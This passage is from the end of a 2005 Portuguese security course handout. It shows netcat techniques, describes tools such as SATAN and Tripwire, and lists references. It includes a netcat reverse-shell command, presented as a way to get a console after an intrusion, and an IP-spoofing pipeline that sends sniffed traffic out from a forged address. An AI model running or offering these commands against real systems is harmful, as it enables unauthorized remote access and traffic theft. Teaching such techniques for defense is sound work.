Para conectar a partir do servidor (WORK):
nc 10.0.1.1 80 -e /bin/bash
Essa técnica é bem simples e eficiente, pois usa somente a porta 80, que dificilmente estará
bloqueada no firewall. A partir do computador HOME você pode enviar comandos para o
WORK, e receber
o resultado localmente.
Além disso, o telnet reverso pode ser usado para ganhar uma console de um servidor depois
de
uma invasão.
9.3.8) Banner-grabbing
Banner-grabbing consiste em enviar para o destino strings específicas a partir de um arquivo e
receber os resultados na tela. O exemplo a seguir inclui um laço for básico para fazer o scan de
múltiplos
destinos de uma vez. O arquivo WEB.txt deve conter :
head / http/1.0
e dois "enters", ou apenas os dois enters para funcionar em outras portas além da 80. O
arquivo
IPlist deve conter a lista dos endereços IP a serem scaneados:
10.0.1.1
Após criar esses dois arquivos, execute:
for f in `cat IPlist.txt`; do nc $f 80 < WEB.txt; done;
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 67 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
O resultado deverá ser algo do tipo:
HTTP/1.1 501 Method Not Implemented
Date: Mon, 13 Dec 1999 08:19:31 GMT
Server: Apache/2.0.40 (Red Hat Linux)
Vary: accept-language
Accept-Ranges: bytes
Content-Length: 993
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Expires: Mon, 13 Dec 1999 08:19:31 GMT
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Cannot process request!</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link rev="made" href="mailto:root@localhost" />
<style type="text/css">
<!--
body { color: #000000; background-color: #FFFFFF; }
a:link { color: #0000CC; }
-->
</style>
</head><body>
<h1>Cannot process request!</h1>
<dl> <dd>
The server does not support the action requested by the browser.
</dd></dl><dl><dd>
If you think this is a server error, please contact
the <a href=" mailto:root@localhos t ">webmaster</a >
</dd></dl>
<h2>Error 501</h2>
<dl> <dd>
<address>
<a href="/">localhost.localdomain</a>
<br />
<small>Mon Dec 13 00:19:31 1999</small>
<br />
<small>Apache/2.0.40 (Red Hat Linux)</small>
</address>
</dd> </dl>
</body>
</html>
Você pode, inclusive, usar o netcat para enviar um exploit para o destino. Quando a conexão é
HTTPS, você usar o stunnel para tunelar o nc, ou apenas o próprio stunnel. Para mais detalhes
veja a man
page do stunnel:
man stunnel
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 68 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
A sintaxe do comando deverá ser algo parecido com a seguinte linha:
(echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel configuration-file host:port
9.3.9) IP Spoofing
Usando o netcat, você pode fazer inclusive spoofing de endereços IP. Se você estiver
escutando o
tráfego em um segmento, você pode enviar esse tráfego para outro host usando o protocolo
UDP.
O comando deverá ser tipo:
tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip <port>
Isso também requer que você configure o endereço IP spoofed para um alias na sua interface
de
rede:
ifconfig eth0:N spoofed_ip
onde N é o alias a ser configurado. Isso irá causar problemas com o host que está sendo
spoofed, já
que é feito o mesmo endereço IP é propagado por dois hosts na mesma rede. Para executar
um spoofing
sem causar tantos problemas, use a ferramenta hping.
9.4) Outros Comandos:
Bastile: ele é um pacote de scripts utilizados para aumentar o nível de segurança do Linux,
desenvolvido para a distribuição Red Hat com o pacote do Perl (Pratical Extraction and Report
Language),
deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violações básicas,
permitindo
ainda ativar e desativar opções do sistema operacional;
SATAN: o aplicativo Security Administrator's Tool for Analizing Network, pode ser exectado em
qualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP, varredura
de
vulnerabilidades mais conhecidas, oferece tutoriais que descrevem as vulnerabilidades e como
explora-las;
COOPS: Computer Oracle and Password System, é um dos aplicativos utilizados para realizar
varredura do host local, verificar o modo dos arquivos e as senhas fáceis. No final de seu
trabalho ele gera
um relatório com a descrição e a ação a ser tomada para resolver a violação;
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 69 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
Tripwire : este aplicativo informa se já houve alguma invasão no sistema. Ele é um analisador
de
integridade de arquivos e diretórios, durante sua execução ele compara as informações
existentes no
sistema de arquivo com os dados préviamente coletados e armazenados no banco de dados.
Normalmente
sua atividade é agendada pela CRON do sistema. Após ser executado ele produz um relatório
com as
possíveis violações que o sistema possa ter sofrido. Quando executado periodicamente permite
que
brechas de segurança possam ser descobertas o mais rápido possível.
PGP : este é uma ferramenta multi plataforma que através da criptografia simétrica permite
proteger
o conteúdo e/ou a integridade dos dados trocados. Ao enviar uma mensagem ele pode utilizar
a chave
pública do destinatário de tal modo que somente quem possuir sua chave privada poderá
decifar a
mensagem que lhe foi enviada.
Hping:
Icmpenum:
Icmpquery:
Strobe:
Udp_scan:
Siphon:
p0f:
Cheops:
Icmpinfo:
nttcp:
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 70 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
Referencias:
[1] Net, Urubatam; Dominando Linux Firewall Iptables;
[2] Linux Magazine, Número 4 Ano I, página 32;
[3] Arkin, Ofir; ICMP Usage in Scanning; Julho de 2000;
[4] Fping – http:\\www.fping.com\
[5] RFC 1812: Requiriments for IPv4 Routers; http:\\www.ietf.org\rfc\rfc1812.txt
[6] RFC793 - TRANSMISSION CONTROL PROTOCOL; DARPA INTERNET PROGRAM,
PROTOCOL SPECIFICATION; Defense Advanced Research Projects Agency. September
1981;
[7] IANA: List of assigned ports; ftp:\\ftp.isi.edu\in-notes\iana\assignments\port-numbers;
[8] Fyodor; Remote OS derection via TCP/IP Stack FingerPrinting; 18 de Outubro de 1998;
[9] Arkin, Ofir; ICMP Usage in Scanning, The Complete Know-How; Versão 3.0; Junho de 2001;
[10]Arkin, Ofir e Yarochkin, Fyodor; X remote ICMP based OS Fingerprinting techniques;
Agosto de
2001.;
[11] Arkin, Ofir; A remote active OS fingerprinting tool using ICMP; Abril de 2002;
[12] Arkin, Ofir e Yarochkin, Fyodor; The Present and Future of Xprobe2, The Next Generation
of
Active Operation System Fingerprinting; julho de 2003;
[13] Cid, Daniel B.; Identificação Passiva de Sistemas Operacionais; Maio de 2003;
[14] Nazario, Jose; Passive System Fingerprinting using Networking Client Applications; 27 de
Novembro de 2000;
[15] Smith, Craing; Know Your Enemy: Passive Fingerprinting - Identifing remote hosts, without
then
khnowing; 4 de Março de 2002
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 71 de 71